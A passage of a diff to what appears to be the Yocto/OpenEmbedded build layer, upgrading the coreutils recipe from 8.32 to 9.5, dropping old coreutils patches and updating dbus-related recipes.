@@ -1,64 +0,0 @@
-Upstream-Status: Denied
-
-Subject: uname: report processor and hardware correctly
-
-This patch is rejected by coreutils upstream, but distros like debian and fedora
-uses this patch to make `uname -i' and `uname -p' to not report 'unknown'.
-
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
----
- src/uname.c | 18 ++++++++++++++++--
- 1 file changed, 16 insertions(+), 2 deletions(-)
-
-diff --git a/src/uname.c b/src/uname.c
-index 39bd28c..c84582d 100644
---- a/src/uname.c
-+++ b/src/uname.c
-@@ -299,13 +299,19 @@ main (int argc, char **argv)
-
- if (toprint & PRINT_PROCESSOR)
- {
-- char const *element = unknown;
-+ char *element = unknown;
- #if HAVE_SYSINFO && defined SI_ARCHITECTURE
- {
- static char processor[257];
- if (0 <= sysinfo (SI_ARCHITECTURE, processor, sizeof processor))
- element = processor;
- }
-+#else
-+ {
-+ static struct utsname u;
-+ uname(&u);
-+ element = u.machine;
-+ }
- #endif
- #ifdef UNAME_PROCESSOR
- if (element == unknown)
-@@ -343,7 +349,7 @@ main (int argc, char **argv)
-
- if (toprint & PRINT_HARDWARE_PLATFORM)
- {
-- char const *element = unknown;
-+ char *element = unknown;
- #if HAVE_SYSINFO && defined SI_PLATFORM
- {
- static char hardware_platform[257];
-@@ -361,6 +367,14 @@ main (int argc, char **argv)
- if (sysctl (mib, 2, hardware_platform, &s, 0, 0) >= 0)
- element = hardware_platform;
- }
-+#else
-+ {
-+ static struct utsname u;
-+ uname(&u);
-+ element = u.machine;
-+ if(strlen(element)==4 && element[0]=='i' && element[2]=='8' && element[3]=='6')
-+ element[1]='3';
-+ }
- #endif
- if (! (toprint == UINT_MAX && element == unknown))
- print_element (element);
---
-1.9.1
-
diff --git a/meta/recipes-core/coreutils/coreutils/disable-ls-output-quoting.patch b/meta/recipes-core/coreutils/coreutils/disable-ls-output-quoting.patch
deleted file mode 100644
index e68c213550..0000000000
--- a/meta/recipes-core/coreutils/coreutils/disable-ls-output-quoting.patch
+++ /dev/null
@@ -1,49 +0,0 @@
-Subject: revert inconsistent ls quoting
-
-This is a revert of upstream commit 109b9220cead6e979d22d16327c4d9f8350431cc.
-
-Bug-Debian: https://bugs.debian.org/813164
-
-Upstream-Status: Submitted
-
-Originally-by: Adam Borowski <kilobyte@angband.pl>
-[PG: patch from https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=813164#78 ]
-Signed-off-by: Paul Gortmaker <paul.gortmaker@windriver.com>
-
----
-
---- coreutils-8.25.orig/NEWS
-+++ coreutils-8.25/NEWS
-@@ -71,9 +71,6 @@ GNU coreutils NEWS
- df now prefers sources towards the root of a device when
- eliding duplicate bind mounted entries.
-
-- ls now quotes file names unambiguously and appropriate for use in a shell,
-- when outputting to a terminal.
--
- join, sort, uniq with --zero-terminated, now treat '\n' as a field delimiter.
-
- ** Improvements
---- coreutils-8.25.orig/doc/coreutils.texi
-+++ coreutils-8.25/doc/coreutils.texi
-@@ -7750,8 +7750,8 @@ this"} in the default C locale. This lo
-
- You can specify the default value of the @option{--quoting-style} option
- with the environment variable @env{QUOTING_STYLE}@. If that environment
--variable is not set, the default value is @samp{shell-escape} when the
--output is a terminal, and @samp{literal} otherwise.
-+variable is not set, the default value is @samp{literal}, but this
-+default may change to @samp{shell} in a future version of this package.
-
- @item --show-control-chars
- @opindex --show-control-chars
---- coreutils-8.25.orig/src/ls.c
-+++ coreutils-8.25/src/ls.c
-@@ -1581,7 +1581,6 @@ decode_switches (int argc, char **argv)
- if (isatty (STDOUT_FILENO))
- {
- format = many_per_line;
-- set_quoting_style (NULL, shell_escape_quoting_style);
- /* See description of qmark_funny_chars, above. */
- qmark_funny_chars = true;
- }
diff --git a/meta/recipes-core/coreutils/coreutils/fix-selinux-flask.patch b/meta/recipes-core/coreutils/coreutils/fix-selinux-flask.patch
deleted file mode 100644
index 173a57925b..0000000000
--- a/meta/recipes-core/coreutils/coreutils/fix-selinux-flask.patch
+++ /dev/null
@@ -1,36 +0,0 @@
-From 7e20a7242ba2657f73311bbf5278093da67f0721 Mon Sep 17 00:00:00 2001
-From: Robert Yang <liezhi.yang@windriver.com>
-Date: Tue, 16 Sep 2014 01:59:08 -0700
-Subject: [PATCH] gnulib-comp.m4: selinux/flask.h should respect to
- with_selinux
-
-Fixed when build with meta-selinux even when --without-selinux:
-runcon.c:49:28: fatal error: selinux/flask.h: No such file or directory
- # include <selinux/flask.h>
- ^
-compilation terminated.
-
-Upstream-Status: Pending
-
-Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
-
----
- m4/gnulib-comp.m4 | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/m4/gnulib-comp.m4 b/m4/gnulib-comp.m4
-index dead90e..0abf0bd 100644
---- a/m4/gnulib-comp.m4
-+++ b/m4/gnulib-comp.m4
-@@ -1860,10 +1860,10 @@ AC_DEFUN([gl_INIT],
- AC_LIBOBJ([select])
- fi
- gl_SYS_SELECT_MODULE_INDICATOR([select])
-- AC_CHECK_HEADERS([selinux/flask.h])
- gl_HEADERS_SELINUX_SELINUX_H
- gl_HEADERS_SELINUX_CONTEXT_H
- if test "$with_selinux" != no && test "$ac_cv_header_selinux_selinux_h" = yes; then
-+ AC_CHECK_HEADERS([selinux/flask.h])
- AC_LIBOBJ([getfilecon])
- fi
- gl_SERVENT
diff --git a/meta/recipes-core/coreutils/coreutils/remove-usr-local-lib-from-m4.patch b/meta/recipes-core/coreutils/coreutils/remove-usr-local-lib-from-m4.patch
index 1a8a9b9983..718de0ab78 100644
--- a/meta/recipes-core/coreutils/coreutils/remove-usr-local-lib-from-m4.patch
+++ b/meta/recipes-core/coreutils/coreutils/remove-usr-local-lib-from-m4.patch
@@ -1,4 +1,4 @@
-From a26530083a29eeee910bfd606ecc621acecd547a Mon Sep 17 00:00:00 2001
+From f53ffb5b27ab7d4a4c62df00ebd6a1a6936d1709 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Wed, 3 Aug 2011 14:12:30 -0700
Subject: [PATCH] coreutils: Fix build on uclibc
@@ -12,16 +12,15 @@ and make life easier for cross compilation process.
Signed-off-by: Khem Raj <raj.khem@gmail.com>
Upstream-Status: Inappropriate [Upstream does care for AIX while we may not]
-
---
m4/getloadavg.m4 | 12 ------------
1 file changed, 12 deletions(-)
diff --git a/m4/getloadavg.m4 b/m4/getloadavg.m4
-index 8e96965..63782a2 100644
+index 9d0236f..68f7c52 100644
--- a/m4/getloadavg.m4
+++ b/m4/getloadavg.m4
-@@ -41,18 +41,6 @@ AC_CHECK_FUNC([getloadavg], [],
+@@ -46,18 +46,6 @@ if test $ac_cv_func_getloadavg != yes; then
[LIBS="-lutil $LIBS" gl_func_getloadavg_done=yes])
fi
diff --git a/meta/recipes-core/coreutils/coreutils_8.32.bb b/meta/recipes-core/coreutils/coreutils_8.32.bb
deleted file mode 100644
index f8ae3fd94c..0000000000
--- a/meta/recipes-core/coreutils/coreutils_8.32.bb
+++ /dev/null
@@ -1,201 +0,0 @@
-SUMMARY = "The basic file, shell and text manipulation utilities"
-DESCRIPTION = "The GNU Core Utilities provide the basic file, shell and text \
-manipulation utilities. These are the core utilities which are expected to exist on \
-every system."
-HOMEPAGE = "http://www.gnu.org/software/coreutils/"
-BUGTRACKER = "http://debbugs.gnu.org/coreutils"
-LICENSE = "GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464 \
- file://src/ls.c;beginline=1;endline=15;md5=b7d80abf5b279320fb0e4b1007ed108b \
- "
-DEPENDS = "gmp libcap"
-DEPENDS_class-native = ""
-
-inherit autotools gettext texinfo
-
-SRC_URI = "${GNU_MIRROR}/coreutils/${BP}.tar.xz \
- file://remove-usr-local-lib-from-m4.patch \
- file://fix-selinux-flask.patch \
- file://0001-uname-report-processor-and-hardware-correctly.patch \
- file://disable-ls-output-quoting.patch \
- file://0001-local.mk-fix-cross-compiling-problem.patch \
- file://run-ptest \
- file://0001-ls-restore-8.31-behavior-on-removed-directories.patch \
- "
-
-SRC_URI[md5sum] = "022042695b7d5bcf1a93559a9735e668"
-SRC_URI[sha256sum] = "4458d8de7849df44ccab15e16b1548b285224dbba5f08fac070c1c0e0bcc4cfa"
-
-EXTRA_OECONF_class-native = "--without-gmp"
-EXTRA_OECONF_class-target = "--enable-install-program=arch,hostname --libexecdir=${libdir}"
-EXTRA_OECONF_class-nativesdk = "--enable-install-program=arch,hostname"
-
-# acl and xattr are not default features
-#
-PACKAGECONFIG_class-target ??= "\
- ${@bb.utils.filter('DISTRO_FEATURES', 'acl xattr', d)} \
-"
-
-# The lib/oe/path.py requires xattr
-PACKAGECONFIG_class-native ??= "xattr"
-
-# with, without, depends, rdepends
-#
-PACKAGECONFIG[acl] = "--enable-acl,--disable-acl,acl,"
-PACKAGECONFIG[xattr] = "--enable-xattr,--disable-xattr,attr,"
-PACKAGECONFIG[single-binary] = "--enable-single-binary,--disable-single-binary,,"
-
-# [ df mktemp nice printenv base64 gets a special treatment and is not included in this
-bindir_progs = "arch basename chcon cksum comm csplit cut dir dircolors dirname du \
- env expand expr factor fmt fold groups head hostid id install \
- join link logname md5sum mkfifo nl nohup nproc od paste pathchk \
- pinky pr printf ptx readlink realpath runcon seq sha1sum sha224sum sha256sum \
- sha384sum sha512sum shred shuf sort split sum tac tail tee test timeout \
- tr truncate tsort tty unexpand uniq unlink uptime users vdir wc who whoami yes"
-
-# hostname gets a special treatment and is not included in this
-base_bindir_progs = "cat chgrp chmod chown cp date dd echo false hostname kill ln ls mkdir \
- mknod mv pwd rm rmdir sleep stty sync touch true uname stat"
-
-sbindir_progs= "chroot"
-
-# Split stdbuf into its own package, so one can include
-# coreutils-stdbuf without getting the rest of coreutils, but make
-# coreutils itself pull in stdbuf, so IMAGE_INSTALL += "coreutils"
-# always provides all coreutils
-PACKAGE_BEFORE_PN_class-target += "${@bb.utils.contains('PACKAGECONFIG', 'single-binary', '', 'coreutils-stdbuf', d)}"
-FILES_coreutils-stdbuf = "${bindir}/stdbuf ${libdir}/coreutils/libstdbuf.so"
-RDEPENDS_coreutils_class-target += "${@bb.utils.contains('PACKAGECONFIG', 'single-binary', '', 'coreutils-stdbuf', d)}"
-
-# However, when the single-binary PACKAGECONFIG is used, stdbuf
-# functionality is built into the single coreutils binary, so there's
-# no point splitting /usr/bin/stdbuf to its own package. Instead, add
-# an RPROVIDE so that rdepending on coreutils-stdbuf will work
-# regardless of whether single-binary is in effect.
-RPROVIDES_coreutils += "${@bb.utils.contains('PACKAGECONFIG', 'single-binary', 'coreutils-stdbuf', '', d)}"
-
-# Let aclocal use the relative path for the m4 file rather than the
-# absolute since coreutils has a lot of m4 files, otherwise there might
-# be an "Argument list too long" error when it is built in a long/deep
-# directory.
-acpaths = "-I ./m4"
-
-# Deal with a separate builddir failure if src doesn't exist when creating version.c/version.h
-do_compile_prepend () {
- mkdir -p ${B}/src
-}
-
-do_install_class-native() {
- autotools_do_install
- # remove groups to fix conflict with shadow-native
- rm -f ${D}${STAGING_BINDIR_NATIVE}/groups
- # The return is a must since native doesn't need the
- # do_install_append() in the below.
- return
-}
-
-do_install_append() {
- for i in df mktemp nice printenv base64; do mv ${D}${bindir}/$i ${D}${bindir}/$i.${BPN}; done
-
- install -d ${D}${base_bindir}
- [ "${base_bindir}" != "${bindir}" ] && for i in ${base_bindir_progs}; do mv ${D}${bindir}/$i ${D}${base_bindir}/$i.${BPN}; done
-
- install -d ${D}${sbindir}
- [ "${sbindir}" != "${bindir}" ] && for i in ${sbindir_progs}; do mv ${D}${bindir}/$i ${D}${sbindir}/$i.${BPN}; done
-
- # [ requires special handling because [.coreutils will cause the sed stuff
- # in update-alternatives to fail, therefore use lbracket - the name used
- # for the actual source file.
- mv ${D}${bindir}/[ ${D}${bindir}/lbracket.${BPN}
-}
-
-inherit update-alternatives
-
-ALTERNATIVE_PRIORITY = "100"
-# Make hostname's priority higher than busybox but lower than net-tools
-ALTERNATIVE_PRIORITY[hostname] = "90"
-ALTERNATIVE_${PN} = "lbracket ${bindir_progs} ${base_bindir_progs} ${sbindir_progs} base64 nice printenv mktemp df"
-ALTERNATIVE_${PN}-doc = "base64.1 nice.1 mktemp.1 df.1 groups.1 kill.1 uptime.1 stat.1 hostname.1"
-
-ALTERNATIVE_LINK_NAME[hostname.1] = "${mandir}/man1/hostname.1"
-
-ALTERNATIVE_LINK_NAME[base64] = "${base_bindir}/base64"
-ALTERNATIVE_TARGET[base64] = "${bindir}/base64.${BPN}"
-ALTERNATIVE_LINK_NAME[base64.1] = "${mandir}/man1/base64.1"
-
-ALTERNATIVE_LINK_NAME[mktemp] = "${base_bindir}/mktemp"
-ALTERNATIVE_TARGET[mktemp] = "${bindir}/mktemp.${BPN}"
-ALTERNATIVE_LINK_NAME[mktemp.1] = "${mandir}/man1/mktemp.1"
-
-ALTERNATIVE_LINK_NAME[df] = "${base_bindir}/df"
-ALTERNATIVE_TARGET[df] = "${bindir}/df.${BPN}"
-ALTERNATIVE_LINK_NAME[df.1] = "${mandir}/man1/df.1"
-
-ALTERNATIVE_LINK_NAME[nice] = "${base_bindir}/nice"
-ALTERNATIVE_TARGET[nice] = "${bindir}/nice.${BPN}"
-ALTERNATIVE_LINK_NAME[nice.1] = "${mandir}/man1/nice.1"
-
-ALTERNATIVE_LINK_NAME[printenv] = "${base_bindir}/printenv"
-ALTERNATIVE_TARGET[printenv] = "${bindir}/printenv.${BPN}"
-
-ALTERNATIVE_LINK_NAME[lbracket] = "${bindir}/["
-ALTERNATIVE_TARGET[lbracket] = "${bindir}/lbracket.${BPN}"
-
-ALTERNATIVE_LINK_NAME[groups.1] = "${mandir}/man1/groups.1"
-ALTERNATIVE_LINK_NAME[uptime.1] = "${mandir}/man1/uptime.1"
-ALTERNATIVE_LINK_NAME[kill.1] = "${mandir}/man1/kill.1"
-ALTERNATIVE_LINK_NAME[stat.1] = "${mandir}/man1/stat.1"
-
-python __anonymous() {
- for prog in d.getVar('base_bindir_progs').split():
- d.setVarFlag('ALTERNATIVE_LINK_NAME', prog, '%s/%s' % (d.getVar('base_bindir'), prog))
-
- for prog in d.getVar('sbindir_progs').split():
- d.setVarFlag('ALTERNATIVE_LINK_NAME', prog, '%s/%s' % (d.getVar('sbindir'), prog))
-}
-
-BBCLASSEXTEND = "native nativesdk"
-
-inherit ptest
-
-RDEPENDS_${PN}-ptest += "bash findutils gawk liberror-perl libmodule-build-perl make perl perl-module-file-stat python3-core sed shadow"
-
-# -dev automatic dependencies fails as we don't want libmodule-build-perl-dev, its too heavy
-# may need tweaking if DEPENDS changes
-RRECOMMENDS_coreutils-dev[nodeprrecs] = "1"
-RRECOMMENDS_coreutils-dev = "acl-dev attr-dev gmp-dev libcap-dev bash-dev findutils-dev gawk-dev shadow-dev"
-
-do_install_ptest () {
- install -d ${D}${PTEST_PATH}/tests
- cp -r ${S}/tests/* ${D}${PTEST_PATH}/tests
- sed -i 's/ginstall/install/g' `grep -R ginstall ${D}${PTEST_PATH}/tests | awk -F: '{print $1}' | uniq`
- install -d ${D}${PTEST_PATH}/build-aux
- install ${S}/build-aux/test-driver ${D}${PTEST_PATH}/build-aux/
- cp ${B}/Makefile ${D}${PTEST_PATH}/
- cp ${S}/init.cfg ${D}${PTEST_PATH}/
- cp -r ${B}/src ${D}${PTEST_PATH}/
- cp -r ${S}/src/*.c ${D}${PTEST_PATH}/src
- sed -i '/^VPATH/s/= .*$/= ./g' ${D}${PTEST_PATH}/Makefile
- sed -i '/^PROGRAMS/s/^/#/g' ${D}${PTEST_PATH}/Makefile
- sed -i '/^Makefile: /s/^.*$/Makefile:/g' ${D}${PTEST_PATH}/Makefile
- sed -i '/^abs_srcdir/s/= .*$/= \$\{PWD\}/g' ${D}${PTEST_PATH}/Makefile
- sed -i '/^abs_top_builddir/s/= .*$/= \$\{PWD\}/g' ${D}${PTEST_PATH}/Makefile
- sed -i '/^abs_top_srcdir/s/= .*$/= \$\{PWD\}/g' ${D}${PTEST_PATH}/Makefile
- sed -i '/^built_programs/s/ginstall/install/g' ${D}${PTEST_PATH}/Makefile
- chmod -R 777 ${D}${PTEST_PATH}
-
- # Disable subcase stty-pairs.sh, it will cause test framework hang
- sed -i '/stty-pairs.sh/d' ${D}${PTEST_PATH}/Makefile
-
- # Disable subcase tail-2/assert.sh as it has issues on 32-bit systems
- sed -i '/assert.sh/d' ${D}${PTEST_PATH}/Makefile
-
- # Tweak test d_type-check to use python3 instead of python
- sed -i "1s@.*@#!/usr/bin/python3@" ${D}${PTEST_PATH}/tests/d_type-check
- install ${B}/src/getlimits ${D}/${bindir}
-
- # handle multilib
- sed -i s:@libdir@:${libdir}:g ${D}${PTEST_PATH}/run-ptest
-}
-
-FILES_${PN}-ptest += "${bindir}/getlimits"
diff --git a/meta/recipes-core/coreutils/coreutils_9.5.bb b/meta/recipes-core/coreutils/coreutils_9.5.bb
new file mode 100644
index 0000000000..9a5f836ebe
--- /dev/null
+++ b/meta/recipes-core/coreutils/coreutils_9.5.bb
@@ -0,0 +1,219 @@
+SUMMARY = "The basic file, shell and text manipulation utilities"
+DESCRIPTION = "The GNU Core Utilities provide the basic file, shell and text \
+manipulation utilities. These are the core utilities which are expected to exist on \
+every system."
+HOMEPAGE = "http://www.gnu.org/software/coreutils/"
+BUGTRACKER = "http://debbugs.gnu.org/coreutils"
+LICENSE = "GPL-3.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464 \
+ file://src/ls.c;beginline=1;endline=15;md5=9ac94aaed7fd46fd8df7147a9e3410cb \
+ "
+DEPENDS = "gmp libcap"
+DEPENDS:class-native = ""
+
+inherit autotools gettext texinfo
+
+SRC_URI = "${GNU_MIRROR}/coreutils/${BP}.tar.xz \
+ file://remove-usr-local-lib-from-m4.patch \
+ file://0001-local.mk-fix-cross-compiling-problem.patch \
+ file://run-ptest \
+ "
+SRC_URI[sha256sum] = "cd328edeac92f6a665de9f323c93b712af1858bc2e0d88f3f7100469470a1b8a"
+
+# http://git.savannah.gnu.org/cgit/coreutils.git/commit/?id=v8.27-101-gf5d7c0842
+#
+CVE_STATUS[CVE-2016-2781] = "disputed: runcon is not really a sandbox command, use `runcon ... setsid ...` to avoid this particular issue."
+
+EXTRA_OECONF:class-target = "--enable-install-program=arch,hostname --libexecdir=${libdir}"
+EXTRA_OECONF:class-nativesdk = "--enable-install-program=arch,hostname"
+
+# acl and xattr are not default features
+#
+PACKAGECONFIG:class-target ??= "\
+ ${@bb.utils.filter('DISTRO_FEATURES', 'acl xattr', d)} \
+"
+
+# The lib/oe/path.py requires xattr
+PACKAGECONFIG:class-native ??= "xattr"
+
+# oe-core builds need xattr support
+PACKAGECONFIG:class-nativesdk ??= "xattr"
+
+# with, without, depends, rdepends
+#
+PACKAGECONFIG[acl] = "--enable-acl,--disable-acl,acl,"
+PACKAGECONFIG[xattr] = "--enable-xattr,--disable-xattr,attr,"
+PACKAGECONFIG[single-binary] = "--enable-single-binary,--disable-single-binary,,"
+PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux"
+PACKAGECONFIG[openssl] = "--with-openssl=yes,--with-openssl=no,openssl"
+
+# [ df mktemp nice printenv base64 gets a special treatment and is not included in this
+bindir_progs = "arch basename chcon cksum comm csplit cut dir dircolors dirname du \
+ env expand expr factor fmt fold groups head hostid id install \
+ join link logname md5sum mkfifo nl nohup nproc od paste pathchk \
+ pinky pr printf ptx readlink realpath runcon seq sha1sum sha224sum sha256sum \
+ sha384sum sha512sum shred shuf sort split sum tac tail tee test timeout \
+ tr truncate tsort tty unexpand uniq unlink uptime users vdir wc who whoami yes"
+
+# hostname gets a special treatment and is not included in this
+base_bindir_progs = "cat chgrp chmod chown cp date dd echo false hostname kill ln ls mkdir \
+ mknod mv pwd rm rmdir sleep stty sync touch true uname stat"
+
+sbindir_progs= "chroot"
+
+# Split stdbuf into its own package, so one can include
+# coreutils-stdbuf without getting the rest of coreutils, but make
+# coreutils itself pull in stdbuf, so IMAGE_INSTALL += "coreutils"
+# always provides all coreutils
+PACKAGE_BEFORE_PN:class-target += "${@bb.utils.contains('PACKAGECONFIG', 'single-binary', '', 'coreutils-stdbuf', d)}"
+FILES:coreutils-stdbuf = "${bindir}/stdbuf ${libdir}/coreutils/libstdbuf.so"
+RDEPENDS:coreutils:class-target += "${@bb.utils.contains('PACKAGECONFIG', 'single-binary', '', 'coreutils-stdbuf', d)}"
+
+# However, when the single-binary PACKAGECONFIG is used, stdbuf
+# functionality is built into the single coreutils binary, so there's
+# no point splitting /usr/bin/stdbuf to its own package. Instead, add
+# an RPROVIDE so that rdepending on coreutils-stdbuf will work
+# regardless of whether single-binary is in effect.
+RPROVIDES:coreutils += "${@bb.utils.contains('PACKAGECONFIG', 'single-binary', 'coreutils-stdbuf', '', d)}"
+
+# Let aclocal use the relative path for the m4 file rather than the
+# absolute since coreutils has a lot of m4 files, otherwise there might
+# be an "Argument list too long" error when it is built in a long/deep
+# directory.
+acpaths = "-I ./m4"
+
+# Deal with a separate builddir failure if src doesn't exist when creating version.c/version.h
+do_compile:prepend () {
+ mkdir -p ${B}/src
+}
+
+do_install:class-native() {
+ autotools_do_install
+ # remove groups to fix conflict with shadow-native
+ rm -f ${D}${STAGING_BINDIR_NATIVE}/groups
+ # The return is a must since native doesn't need the
+ # do_install:append() in the below.
+ return
+}
+
+do_install:append() {
+ for i in df mktemp nice printenv base64; do mv ${D}${bindir}/$i ${D}${bindir}/$i.${BPN}; done
+
+ install -d ${D}${base_bindir}
+ [ "${base_bindir}" != "${bindir}" ] && for i in ${base_bindir_progs}; do mv ${D}${bindir}/$i ${D}${base_bindir}/$i.${BPN}; done
+
+ install -d ${D}${sbindir}
+ [ "${sbindir}" != "${bindir}" ] && for i in ${sbindir_progs}; do mv ${D}${bindir}/$i ${D}${sbindir}/$i.${BPN}; done
+
+ # [ requires special handling because [.coreutils will cause the sed stuff
+ # in update-alternatives to fail, therefore use lbracket - the name used
+ # for the actual source file.
+ mv ${D}${bindir}/[ ${D}${bindir}/lbracket.${BPN}
+}
+
+inherit update-alternatives
+
+ALTERNATIVE_PRIORITY = "100"
+# Make hostname's priority higher than busybox but lower than net-tools
+ALTERNATIVE_PRIORITY[hostname] = "90"
+ALTERNATIVE:${PN} = "lbracket ${bindir_progs} ${base_bindir_progs} ${sbindir_progs} base32 base64 nice printenv mktemp df"
+ALTERNATIVE:${PN}-doc = "base64.1 nice.1 mktemp.1 df.1 groups.1 kill.1 uptime.1 stat.1 hostname.1"
+
+ALTERNATIVE_LINK_NAME[hostname.1] = "${mandir}/man1/hostname.1"
+
+ALTERNATIVE_LINK_NAME[base64] = "${base_bindir}/base64"
+ALTERNATIVE_TARGET[base64] = "${bindir}/base64.${BPN}"
+ALTERNATIVE_LINK_NAME[base64.1] = "${mandir}/man1/base64.1"
+
+ALTERNATIVE_LINK_NAME[mktemp] = "${base_bindir}/mktemp"
+ALTERNATIVE_TARGET[mktemp] = "${bindir}/mktemp.${BPN}"
+ALTERNATIVE_LINK_NAME[mktemp.1] = "${mandir}/man1/mktemp.1"
+
+ALTERNATIVE_LINK_NAME[df] = "${base_bindir}/df"
+ALTERNATIVE_TARGET[df] = "${bindir}/df.${BPN}"
+ALTERNATIVE_LINK_NAME[df.1] = "${mandir}/man1/df.1"
+
+ALTERNATIVE_LINK_NAME[nice] = "${base_bindir}/nice"
+ALTERNATIVE_TARGET[nice] = "${bindir}/nice.${BPN}"
+ALTERNATIVE_LINK_NAME[nice.1] = "${mandir}/man1/nice.1"
+
+ALTERNATIVE_LINK_NAME[printenv] = "${base_bindir}/printenv"
+ALTERNATIVE_TARGET[printenv] = "${bindir}/printenv.${BPN}"
+
+ALTERNATIVE_LINK_NAME[lbracket] = "${bindir}/["
+ALTERNATIVE_TARGET[lbracket] = "${bindir}/lbracket.${BPN}"
+
+ALTERNATIVE_LINK_NAME[groups.1] = "${mandir}/man1/groups.1"
+ALTERNATIVE_LINK_NAME[uptime.1] = "${mandir}/man1/uptime.1"
+ALTERNATIVE_LINK_NAME[kill.1] = "${mandir}/man1/kill.1"
+ALTERNATIVE_LINK_NAME[stat.1] = "${mandir}/man1/stat.1"
+
+# The statx() requires glibc >= 2.28 and linux kernel >= 4.11, it doesn't work
+# when glibc >= 2.28 ((Ubuntu 20.04 in docker) and kernel < 4.11 (Host OS
+# CentOS 7), we can check kernel version and disable it, but that would cause
+# two different signatures for coreutils-native, so disable it unconditionally
+# for deterministic build.
+EXTRA_OECONF:append:class-native = " ac_cv_func_statx=0"
+
+python __anonymous() {
+ for prog in d.getVar('base_bindir_progs').split():
+ d.setVarFlag('ALTERNATIVE_LINK_NAME', prog, '%s/%s' % (d.getVar('base_bindir'), prog))
+
+ for prog in d.getVar('sbindir_progs').split():
+ d.setVarFlag('ALTERNATIVE_LINK_NAME', prog, '%s/%s' % (d.getVar('sbindir'), prog))
+}
+
+BBCLASSEXTEND = "native nativesdk"
+
+inherit ptest
+
+RDEPENDS:${PN}-ptest += "bash findutils gawk make perl perl-modules python3-core sed shadow"
+
+# -dev automatic dependencies fails as we don't want libmodule-build-perl-dev, its too heavy
+# may need tweaking if DEPENDS changes
+# Can't use ${PN}-dev here since flags with overrides and key expansion not supported
+RRECOMMENDS:coreutils-dev[nodeprrecs] = "1"
+RRECOMMENDS:${PN}-dev += "acl-dev attr-dev gmp-dev libcap-dev bash-dev findutils-dev gawk-dev shadow-dev"
+
+do_install_ptest () {
+ install -d ${D}${PTEST_PATH}/tests
+ cp -r ${S}/tests/* ${D}${PTEST_PATH}/tests
+ sed -i 's/ginstall/install/g' `grep -R ginstall ${D}${PTEST_PATH}/tests | awk -F: '{print $1}' | uniq`
+ install -d ${D}${PTEST_PATH}/build-aux
+ install ${S}/build-aux/test-driver ${D}${PTEST_PATH}/build-aux/
+ install -Dm 0644 ${B}/lib/config.h ${D}${PTEST_PATH}/lib/config.h
+ cp ${B}/Makefile ${D}${PTEST_PATH}/
+ cp ${S}/init.cfg ${D}${PTEST_PATH}/
+ cp -r ${B}/src ${D}${PTEST_PATH}/
+ cp -r ${S}/src/*.c ${D}${PTEST_PATH}/src
+ sed -i '/^VPATH/s/= .*$/= ./g' ${D}${PTEST_PATH}/Makefile
+ sed -i '/^PROGRAMS/s/^/#/g' ${D}${PTEST_PATH}/Makefile
+ sed -i '/^Makefile: /s/^.*$/Makefile:/g' ${D}${PTEST_PATH}/Makefile
+ sed -i '/^abs_srcdir/s/= .*$/= \$\{PWD\}/g' ${D}${PTEST_PATH}/Makefile
+ sed -i '/^abs_top_builddir/s/= .*$/= \$\{PWD\}/g' ${D}${PTEST_PATH}/Makefile
+ sed -i '/^abs_top_srcdir/s/= .*$/= \$\{PWD\}/g' ${D}${PTEST_PATH}/Makefile
+ sed -i '/^built_programs/s/ginstall/install/g' ${D}${PTEST_PATH}/Makefile
+ sed -i '/^CC =/s/ --sysroot=.*recipe-sysroot/ /g' ${D}${PTEST_PATH}/Makefile
+ chmod -R 777 ${D}${PTEST_PATH}
+
+ # Disable subcase stty-pairs.sh, it will cause test framework hang
+ sed -i '/stty-pairs.sh/d' ${D}${PTEST_PATH}/Makefile
+
+ # Disable subcase tail-2/assert.sh as it has issues on 32-bit systems
+ sed -i '/assert.sh/d' ${D}${PTEST_PATH}/Makefile
+
+ # Tweak test d_type-check to use python3 instead of python
+ sed -i "1s@.*@#!/usr/bin/python3@" ${D}${PTEST_PATH}/tests/d_type-check
+ install ${B}/src/getlimits ${D}/${bindir}
+
+ # handle multilib
+ sed -i s:@libdir@:${libdir}:g ${D}${PTEST_PATH}/run-ptest
+}
+
+do_install_ptest:append:libc-musl () {
+ # these tests fail due to bash on musl systems
+ # xmalloc: cannot allocate 16146 bytes
+ sed -i -e '/tests\/dd\/no-allocate.sh/d' ${D}${PTEST_PATH}/Makefile
+ sed -i -e '/tests\/split\/line-bytes.sh/d' ${D}${PTEST_PATH}/Makefile
+}
+FILES:${PN}-ptest += "${bindir}/getlimits"
diff --git a/meta/recipes-core/dbus-wait/dbus-wait_git.bb b/meta/recipes-core/dbus-wait/dbus-wait_git.bb
index c24295b537..39363b9b3a 100644
--- a/meta/recipes-core/dbus-wait/dbus-wait_git.bb
+++ b/meta/recipes-core/dbus-wait/dbus-wait_git.bb
@@ -1,16 +1,16 @@
SUMMARY = "A simple tool to wait for a specific signal over DBus"
HOMEPAGE = "http://git.yoctoproject.org/cgit/cgit.cgi/dbus-wait"
+DESCRIPTION = "${SUMMARY}"
SECTION = "base"
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
DEPENDS = "dbus"
-SRCREV = "6cc6077a36fe2648a5f993fe7c16c9632f946517"
-PV = "0.1+git${SRCPV}"
-PR = "r2"
+SRCREV = "64bc7c8fae61ded0c4e555aa775911f84c56e438"
+PV = "0.1+git"
-SRC_URI = "git://git.yoctoproject.org/${BPN}"
+SRC_URI = "git://git.yoctoproject.org/${BPN};branch=master;protocol=https"
UPSTREAM_CHECK_COMMITS = "1"
S = "${WORKDIR}/git"
diff --git a/meta/recipes-core/dbus/dbus-glib_0.110.bb b/meta/recipes-core/dbus/dbus-glib_0.110.bb
deleted file mode 100644
index 0b45805cf4..0000000000
--- a/meta/recipes-core/dbus/dbus-glib_0.110.bb
+++ /dev/null
@@ -1,39 +0,0 @@
-SUMMARY = "High level language (GLib) binding for D-Bus"
-DESCRIPTION = "GLib bindings for the D-Bus message bus that integrate \
-the D-Bus library with the GLib thread abstraction and main loop."
-HOMEPAGE = "https://www.freedesktop.org/Software/dbus"
